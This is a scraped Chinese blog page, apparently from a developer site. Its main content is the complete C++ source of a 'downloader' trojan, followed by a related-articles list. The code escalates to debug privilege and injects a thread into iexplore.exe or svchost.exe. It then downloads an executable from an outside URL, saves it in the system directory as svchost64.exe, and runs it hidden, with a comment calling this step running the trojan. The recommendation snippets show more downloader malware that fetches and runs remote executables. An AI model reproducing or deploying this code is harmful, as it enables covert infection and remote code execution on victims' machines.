#include "stdafx.h” #include “stdio.h” #include “string.h” #include <windows.h> #include <wininet.h> #include “tlhelp32.h” #pragma comment(lib,”wininet.lib“) /***********************************************/ typedef HINSTANCE (__stdcall *fun_ShellExecute)(HWND hWnd, //定义 ShellExecute LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters, LPCTSTR lpDiretory, INT nShowCmd); typedef int (__stdcall *fun_MessageBox)(HWND hWnd, LPCTSTR lpszText, //定义MessageBoxA原型 LPCTSTR lpszCaption, UINT nType); // define functions in kernel32.dll typedef HANDLE (__stdcall *fun_CreateFile)( LPCTSTR, DWORD, DWORD, //定义CreateFileA LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE ); typedef BOOL (__stdcall *fun_WriteFile)( HANDLE, LPCVOID, DWORD, //定义WriteFile LPDWORD, LPOVERLAPPED ); typedef BOOL (__stdcall *fun_CloseHandle)( HANDLE hObject ); //定义CloseHandle typedef HMODULE (__stdcall *fun_GetModuleHandle)(LPCTSTR); //定义GetModuleHandle typedef FARPROC (__stdcall *fun_GetProcAddress)(HMODULE, LPCTSTR); //定义GetProcAddress typedef HINSTANCE (__stdcall *fun_LoadLibrary)(LPCTSTR); //定义LoadLibraryA // define functions in wininet.dll typedef HINTERNET (__stdcall *fun_InternetOpen)(IN LPCTSTR lpszAgent, //定义InternetOpen IN DWORD dwAccessType, IN LPCTSTR lpszProxyByName, IN LPCTSTR lpszProxyByPass, IN DWORD dwFlags); typedef HINTERNET (__stdcall *fun_InternetOpenUrl)(IN HINTERNET hInternet,//定义InternetOpenUrl IN LPCTSTR lpszUrl, IN LPCTSTR lpszHeaders OPTIONAL, IN DWORD dwHeadersLength, IN DWORD dwFlags, IN DWORD dwContext); typedef HINTERNET (__stdcall *fun_InternetReadFile)(IN HINTERNET hFile, //定义InternetReadFile IN LPVOID lpBuffer, IN DWORD dwNumberOfBytesToRead, OUT LPDWORD lpdwNumberOfBytesRead); typedef HINTERNET (__stdcall *fun_InternetCloseHandle)(IN HINTERNET hInternet); //定义InternetCloseHandle typedef struct tag_Inject // define a structure to copy to distance process { fun_GetModuleHandle GetModuleHandle; fun_GetProcAddress GetProcAddress; fun_LoadLibrary LoadLibrary; char szKernel[32]; char szUser[32]; char szNet[32]; char szShell[32]; char szMessageBox[32]; char szInternetOpen[32]; char szInternetOpenUrl[MAX_PATH]; char szInternetReadFile[128]; char szInternetCloseHandle[32]; char szCreateFile[32]; char szWriteFile[32]; char szCloseHandle[32]; char szShellExecute[32]; char szHeader[16]; char szInterFlag[32]; char szOpenFlag[10]; char szUrlAddr[MAX_PATH]; char szUrlAddr1[MAX_PATH]; char szFilePath[MAX_PATH]; char szFilePath1[MAX_PATH]; }Inject; /***************************************/ /************************************************/ static BOOL ThreadProc(Inject* Inject_info) { HMODULE hKernel32, hUser32, hWininet, hShell32; //模块句柄 fun_InternetOpen j_InternetOpen; //定义函数指针 fun_InternetOpenUrl j_InternetOpenUrl; fun_InternetReadFile j_InternetReadFile; fun_InternetCloseHandle j_InternetCloseHandle; fun_CreateFile j_CreateFile; fun_WriteFile j_WriteFile; fun_CloseHandle j_CloseHandle; fun_MessageBox j_MessageBox; fun_ShellExecute j_ShellExecute; hKernel32 = Inject_info->GetModuleHandle(Inject_info->szKernel); //隐式加载DLL if (NULL == hKernel32) //加载失败 { hKernel32 = Inject_info->LoadLibrary(Inject_info->szKernel); //显示加载 if (NULL == hKernel32) //显示加载失败 { return FALSE; } } hUser32 = Inject_info->GetModuleHandle(Inject_info->szUser); if (NULL == hUser32) { hUser32 = Inject_info->LoadLibrary(Inject_info->szUser); if (NULL == hUser32) { return FALSE; } } hWininet = Inject_info->GetModuleHandle(Inject_info->szNet); if (NULL == hWininet) { hWininet = Inject_info->LoadLibrary(Inject_info->szNet); if (NULL == hWininet) { return FALSE; } } hShell32 = Inject_info->GetModuleHandle(Inject_info->szShell); if (NULL == hShell32) { hShell32 = Inject_info->LoadLibrary(Inject_info->szShell); if (NULL == hShell32) { return FALSE; } } j_InternetOpen = (fun_InternetOpen)Inject_info->GetProcAddress(hWininet, //绑定 InternetOpen Inject_info->szInternetOpen); j_InternetOpenUrl = (fun_InternetOpenUrl)Inject_info->GetProcAddress(hWininet, //绑定 InternetOpenUrl Inject_info->szInternetOpenUrl); j_InternetReadFile = (fun_InternetReadFile)Inject_info->GetProcAddress(hWininet, //绑定 InternetReadFile Inject_info->szInternetReadFile); j_InternetCloseHandle = (fun_InternetCloseHandle)Inject_info->GetProcAddress(hWininet, //绑定 InternetCloseHandle Inject_info->szInternetCloseHandle); j_CreateFile = (fun_CreateFile)Inject_info->GetProcAddress(hKernel32, //绑定 CreateFile Inject_info->szCreateFile); j_WriteFile = (fun_WriteFile)Inject_info->GetProcAddress(hKernel32, //绑定 WriteFile Inject_info->szWriteFile); j_CloseHandle = (fun_CloseHandle)Inject_info->GetProcAddress(hKernel32, //绑定 CloseHandle Inject_info->szCloseHandle); j_MessageBox = (fun_MessageBox)Inject_info->GetProcAddress(hUser32, //绑定 MessageBox Inject_info->szMessageBox); j_ShellExecute = (fun_ShellExecute)Inject_info->GetProcAddress(hShell32, //绑定 ShellExecute Inject_info->szShellExecute); HINTERNET hNet, hFile; //定义网络句柄和文件句柄 hNet = j_InternetOpen(Inject_info->szInterFlag, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); //打开网络并返回网络句柄 if (NULL == hNet) //打开网络出错 { return FALSE; } hFile = j_InternetOpenUrl(hNet, Inject_info->szUrlAddr, Inject_info->szHeader, strlen(Inject_info->szHeader), INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_RELOAD, 0); //打开指定的URL并返回请求的URL的资源句柄 if (NULL == hFile) //打开网络地址出错 { return FALSE; } char buff[1024]; //数据传输缓存 DWORD dwRead, //字节数 dwWritten = NULL; //实际写入的字节数 HANDLE hCreateFile = j_CreateFile(Inject_info->szFilePath, GENERIC_READ|GENERIC_WRITE, //始终创建文件 0, NULL, CREATE_ALWAYS, 0 ,NULL); if (NULL == hCreateFile) //创建文件出错! { return FALSE; } while(j_InternetReadFile(hFile, buff, 1023, &dwRead)) { if (0 == dwRead) //如果传输出错,退出 break; j_WriteFile(hCreateFile, buff, dwRead, &dwWritten, NULL); //将读取到的数据写入本地文件 } j_InternetCloseHandle(hNet); //关闭网络句柄 j_InternetCloseHandle(hFile); //关闭网络文件句柄 j_CloseHandle(hCreateFile); //关闭本地文件句柄 j_ShellExecute(NULL, NULL, Inject_info->szFilePath, NULL, NULL, SW_HIDE); //运行木马 return TRUE; } static void AddressFlag(void) { } /****************************************************************************************************************/ /***************************************************************************************/ /* 提升当前进程的权限到 DEBUG */ /***************************************************************************************/ /****************************************************************************************************************/ BOOL ImprovePrivilege() //将进程提权 { HANDLE hToken = NULL ; //令牌句柄 BOOL bRet = FALSE; //返回执行结果 TOKEN_PRIVILEGES tp = {1, {0, 0, SE_PRIVILEGE_ENABLED}}; //填充权限令牌结构 LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); //查询是否具有调试权限 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); //打开进程权限令牌 AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof tp, 0, 0); //为进程申请 DEBUG 权限 bRet = (GetLastError() == ERROR_SUCCESS); //检测是否执行成功 return bRet; } /****************************************************************************************************************/ /***************************************************************************************/ /* 得到IExplore.exe的进程ID */ /***************************************************************************************/ /****************************************************************************************************************/ DWORD Get_ProcID() { char* strProc = new char[256]; HANDLE hSnap; //快照句柄 PROCESSENTRY32 ppe; //进程结构信息 hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //创建系统进程快照 if (!ImprovePrivilege()) //提升本进程权限 { return FALSE; } ppe.dwSize = sizeof( PROCESSENTRY32 ); //计算结构大小 Process32First( hSnap, &ppe ); //找到第一个进程 while ( 1 ) //判断系统中的进程是否有IE的进程 { strcpy(strProc, ppe.szExeFile); //转存 strProc = strlwr(strProc); //转换为小写 if (0 == strcmp(strProc, “iexplore.exe“))//判断是否是 IE { return ppe.th32ProcessID; } else if (0 == strcmp(strProc, “svchost.exe“))//判断是否是 svchost { return ppe.th32ProcessID; } if ( !Process32Next( hSnap, &ppe )) { break; } } CloseHandle( hSnap ); return 0; } /*************************************/ /*************************************************************************************/ /* 将 ThreadProc 函数以插入线程的形式在浏览器进程中运行 */ /*************************************/ /*************************************/ BOOL InsertThread() { char szSystemRoot[MAX_PATH]; PDWORD pdwRemote = NULL; //申请远程空间地址 const int iCodeSize = ((LPBYTE)AddressFlag - (LPBYTE)ThreadProc);//计算代码长度 Inject *InjectRemote = NULL; //将Inject复制到远程进程空间中去 DWORD dwThread = NULL, dwOut = NULL, dwProc = Get_ProcID(); HANDLE hProc = NULL; const DWORD cbMemSize = iCodeSize + sizeof(Inject) + 3; //需要的内存块大小 Inject Inject_stru = {NULL, NULL, NULL, “kernel32.dll“, “user32.dll“, “wininet.dll“, “shell32.dll“, “MessageBoxA“, “InternetOpenA“, “InternetOpenUrlA“, “InternetReadFile“, “InternetCloseHandle“, “CreateFileA“, “WriteFile“, “CloseHandle“, “ShellExecuteA“, “Accept: */*/r/n/r/n“, “RookIE/1.0“, “wba“, “http://www.hf-hx.com/music/x.exe“, “”}; //初始化结构 GetSystemDirectory(szSystemRoot, sizeof(szSystemRoot)); //得到系统目录 strcat(szSystemRoot, “//svchost64.exe“); //构造文件名(含路径) strcpy(Inject_stru.szFilePath, szSystemRoot); //传递给Inject 结构中的szFilePaht HMODULE hKernel32 = GetModuleHandle(”kernel32.dll“); Inject_stru.GetModuleHandle = (fun_GetModuleHandle)GetProcAddress(hKernel32, “GetModuleHandleA“);//绑定GetModuleHandle Inject_stru.GetProcAddress = (fun_GetProcAddress)GetProcAddress(hKernel32, “GetProcAddress“); //绑定GetProcAddress Inject_stru.LoadLibrary = (fun_LoadLibrary)GetProcAddress(hKernel32, “LoadLibraryA“);//绑定LoadLibrary hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProc); //以最高权限打开浏览器进程 if (NULL == hProc) { return FALSE; } pdwRemote = (PDWORD)VirtualAllocEx(hProc, NULL, cbMemSize, MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); //在远程空间中申请内存块 if (NULL == pdwRemote) { return FALSE; } if (!WriteProcessMemory(hProc, pdwRemote, (LPVOID)ThreadProc, cbMemSize, &dwOut)) //向远程进程写入功能代码 { return FALSE; } InjectRemote = (Inject*)(((LPBYTE)pdwRemote) + ((iCodeSize + 4) & ~3)); if (!WriteProcessMemory(hProc, InjectRemote, &Inject_stru, sizeof(Inject_stru), &dwOut)) //向远程线程写入结构数据 { return FALSE; } if (NULL == CreateRemoteThread(hProc, NULL, 65535, (LPTHREAD_START_ROUTINE)pdwRemote, InjectRemote, 0, NULL)) //创建进程线程 { return FALSE; } return TRUE; } /******************************************/ int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { InsertThread(); return 0; }
相关推荐
C++实现爬取网页源代码并下载至本地文件(可直接运行)
哈喽,各位小伙伴们,今天我给大家分享的是如何用C++实现爬取网页源代码。 本人用的开发环境为visual studio 2013,涉及到的知识点有:构造函数、析构函数、queue队列、分文件编写、WinSock2.h网络编程、fstream文件流等等,总之对于新手而言是非常好的练习代码能力的一个作业。 先是给大家看看演示效果,图一所示的是代码运行后的初始界面: ...
C++ win32 downloader
#include "stdafx.h”#include “stdio.h”#include “string.h”#include #include #include “tlhelp32.h”#pragma comment(lib,”wininet.lib“)/***********************************************/type
Win32创建和使用高级列表控件实例(附完整源代码)
Win32创建和使用高级列表控件实例(附完整源代码)
插入IE进程的下载者源代码
/*"mini_downloader"code bykardinal p.s.tcompile by vc++ 6.0can not run under win98;*/#include #pragma comment(lib,"user32.lib")#pragma comment(lib,"kernel32.lib")//#pragma comment(linker, "/OPT:NOWIN9
C++:下载文件(附完整源码)
C++:下载文件(附完整源码)
WMI设置网卡及获取网卡信息
根据网络提供的资料,专门写出NetAdapter类,实现本地连接网卡信息的收集及设置.所下载的资料是一个MFC测试项目,在VS2010中调试通过.需要使用时,使用NetAdapter类即可.
下载者U盘传染源码
下载者U盘传染源码unit Un_Main;interfaceusesWindows, Messages, SysUtils,Forms,IniFiles;typeTFrm_Main = class(TForm)procedure FormCreate(Sender: TObject);procedure FormClose(Sender: TObject; var Action: TClos
C++下载者源代码带驱动源码
本人感觉里面涉及的知识非常丰富有兴趣可以下载下去看看,绝对超值. 不要拿去干坏事哦.
Win32 应用程序下载者
该代码功能:从服务器下载可执行程序并运行,本程序从服务器下载1.exe,下载到本地C盘根目录并命名为test.exe,接着会直接运行test.exe。
Node框架之NestJS入门学习
文章主要分为三部分:1 NestJS 与Egg对比2 NestJS 基础知识介绍3 使用NestJS快速搭建应用,实现CURD操作e-link文档Egg官网NestJS 官网NestJS中文文档(非官方)
Smart200 PLC实现Bool信号接通延时、关闭延时作用
解决Smart200 PLC时间继电器和脉冲扫描P或N不能重复使用的问题,用于Bool信号延时接通和延时关闭的作用,可调整时间基数
超小下载者源码
// DL.cpp : Defines the entry point for the application. // #include "stdafx.h" #include #pragma comment(lib,"urlmon.lib") int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE
华为S5720交换机堆叠配置
S5720交换机,做下堆叠,两条线,交叉互联(即A交换机23口连到B交换机24口,A交换机24口连接B交换机23口)。PS:S5720堆叠可基于电口或者光口做,本次测试基于电口。 SWA配置 # 改名 [Huawei]sysname SWA # 最好先shutdown接口 [SWA]interface GigabitEthernet 0/0/23 [SWA-GigabitEthernet0/0/23]shutdown [SWA-GigabitEthernet0/0/23]interface G.
C++下载者源码
#include #include #include #pragma comment (lib, "urlmon.lib") int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPTSTR lpCmdLine,int nCmdShow) { static char mulu[MAX_PA
RK平台MPP编解码实战:从源码编译到性能测试全解析
本文详细解析了在RK(瑞芯微)平台上进行MPP(Media Process Platform)多媒体编解码实战的全过程。从源码获取、交叉编译环境搭建、常见编译问题排查,到测试程序的修改调试与性能测试分析,提供了从零到一的完整指南。文章通过实测数据展示了MPP硬件编解码在嵌入式设备上的高性能与低功耗优势,帮助开发者快速掌握这一关键技术,应用于智能摄像头、视频会议终端等产品开发。
python-snap7 报错:can‘t find snap7 library. If installed, try running ldconfig
1、使用场景: Python 读取西门子 S7 系列 PLC 信息,会用到 snap7 库,网上也有很多案例。但是,运行时会报错:can't find snap7 library. If installed, try running ldconfig 2、解决方案: A、下载项目需要依赖的 dll、lib 文件: i、Sourceforge下载:https://sourceforge.net/projects/snap7/files/ ii、优快云下载(免费):https://dow.
三种语言的下载者源代码:C Delphi Vb
<br />C<br /> <br />#include<windows.h> #include<urlmon.h> #include<process.h> #include<Shellapi.h> //这里这个头文件是对ShellExecute的定义 #pragma comment (lib,"Urlmon.lib") int main() { URLDownloadToFile(NULL,"http://www.lzitw.com/kj/hoho.exe","C:/test.exe",0
【华为OD机试真题】141、租车骑绿岛 | 机试真题+思路参考+代码解析(C++、Java、Py、C语言、JS)
题目描述 >部门组织绿岛骑行团建活动。租用公共双人自行车,每辆自行车最多坐两人,最大载重M。 给出部门每个人的体重,请问最多需要租用多少双人自行车。
将指定的HTTP网络资源在本地以文件形式存放(下载)
将指定的HTTP网络资源在本地以文件形式存放(下载)import java.io.*;import java.net.*;import java.util.*;/** * Title: 个人开发的API * Description: 将指定的HTTP网络资源在本地以文件形式存放 * Copyright: Copyright (c) 2004 * Comp
HFSS实战项目——微带一分四功分器
呕心沥血保姆级教程!!!!手把手教会你做功分器,史上最详细步骤!!!
FLUENT Meshing Watertight Geometry工作流入门 - 5 生成表面网格
我们学习在生成表面网格任务下的不同输入。讨论了局部尺寸控制与全局尺寸控制的影响。最后,讨论了如何改进表面网格,以实现好的体网格质量。
三种语言的下载者源代码:C Delphi Vb
三种语言的下载者源代码:C Delphi Vb 2010年01月25日 查看文章 三种语言的下载者源代码:C Delphi Vb2007年10月27日 星期六 下午 07:20 Code Language : C #include #include #include #include //这里这个头文件是对ShellExecut...
老版QQ原生表情gif动态
这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。
windows安全报毒--PUA:Win32/Alibox
(游戏可能是在‘游侠网’上下载的,就是毒,直接删)可能还有downer和qjwmonkey报毒。直接删除或隔离,不会影响游戏运行。
Probability and Statistics - 4th edition
Probability and Statistics - 4th edition
IDEA的使用指南
IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.
1万+



被折叠的 条评论
为什么被折叠?



